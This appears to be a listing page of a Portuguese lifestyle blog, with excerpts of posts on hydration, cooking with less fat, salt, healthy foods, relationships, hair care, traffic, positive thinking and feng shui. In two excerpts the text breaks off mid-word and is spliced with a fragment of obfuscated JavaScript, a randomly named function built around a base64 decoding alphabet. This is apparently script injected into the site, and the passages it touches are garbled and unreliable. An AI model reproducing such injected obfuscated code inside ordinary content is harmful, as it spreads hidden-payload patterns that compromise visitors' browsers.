Jan 29, 2016 | Equilíbrio, Saúde e bem estar
12 Sinais de que Bebe Pouca Água – Não há no mundo nada mais refrescante do que um bom copo de água. A água no seu estado natural produz muito mais prazer e saúde do que um café ou uma gasosa ou refrigerante. Mas mesmo assim, muitas pessoas não ingerem a...
Jan 23, 2016 | Equilíbrio, Saúde e bem estar
Dicas para cozinhar com menos gordura Há muitas maneiras de reduzir a gordura na sua dieta e incluem-se aqui dicas que pode utilizar ao cozinhar. Inserem-se, genericamente, em 3 categorias: os alimentos que compra, o modo como os cozinha e o equipamento que usa para...
Jan 22, 2016 | Equilíbrio, Saúde e bem estar
10 Estratégias para reduzir o sal na sua dieta Porque é que o sal faz mal? É a pergunta que muitas pessoas fazem. A resposta é simples. O sal não faz mal, sendo até mesmo necessário à sobrevivência dos seres humanos e fundamental para manter o equilíbrio do...
Jan 11, 2016 | Equilíbrio, Saúde e bem estar
9 Alimentos que garantem boa saúde – O que não pode faltar na sua mesa! Alguns alimentos, além de nutritivos, têm o poder de nos ajudar a garantir a boa saúde e manter a beleza. Eles ajudam a aliviar os sintomas da TPM (tensão pré-menstrual), controlar a...
Jan 9, 2016 | Equilíbrio, Saúde e bem estar
Pôr um ponto final numa relação não é o fim. Um testemunho que nos ensina a tirar partido da aprendizagem O que não nos mata torna-nos mais fortes! Na maior parte das vezes, arrastamos relações que sabemos que estão condenadas à partida, por variantes de um mesmo...
Dez 21, 2015 | Equilíbrio, Estilo e beleza, Saúde e bem estar
Hoje em dia faz-se dietas para quase tudo, algumas resultam e outras ficam aquém das expectativas. Segundo o nosso Cabeleireiro, Wagner Santos também é possível ter uma dieta equilibrada que beneficia e aumenta a beleza dos seus cabelos. Os cuidados com os cabelos vão...
Dez 18, 2015 | À descoberta, Dicas úteis
Trânsito! É difícil function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Dez 17, 2015 | Equilíbrio, Saúde e bem estar
Pensamento positivo, dicas para viver bem, por Carlos Baltazar Aprenda a enquadrar positivamente o pensamento positivo Ninguém tem o real poder de controlar o fluxo dos seus pensamentos, mas todos podemos escolher perspetivas ou pontos de vista mais produtivos para o...
Dez 16, 2015 | Equilíbrio, Saúde e bem estar
Diz-se que somos o que comemos e é uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Dez 15, 2015 | Equilíbrio, Saúde e bem estar
O Feng shui pode trazer mudanças positivas à sua vida, veja como aqui. Aproveitar o novo ano para fazer melhorias Se é verdade que o nosso espaço é o espelho da nossa vida, é verdade também que quase todos nós utilizamos esta época do novo ano para fazer mudanças na...
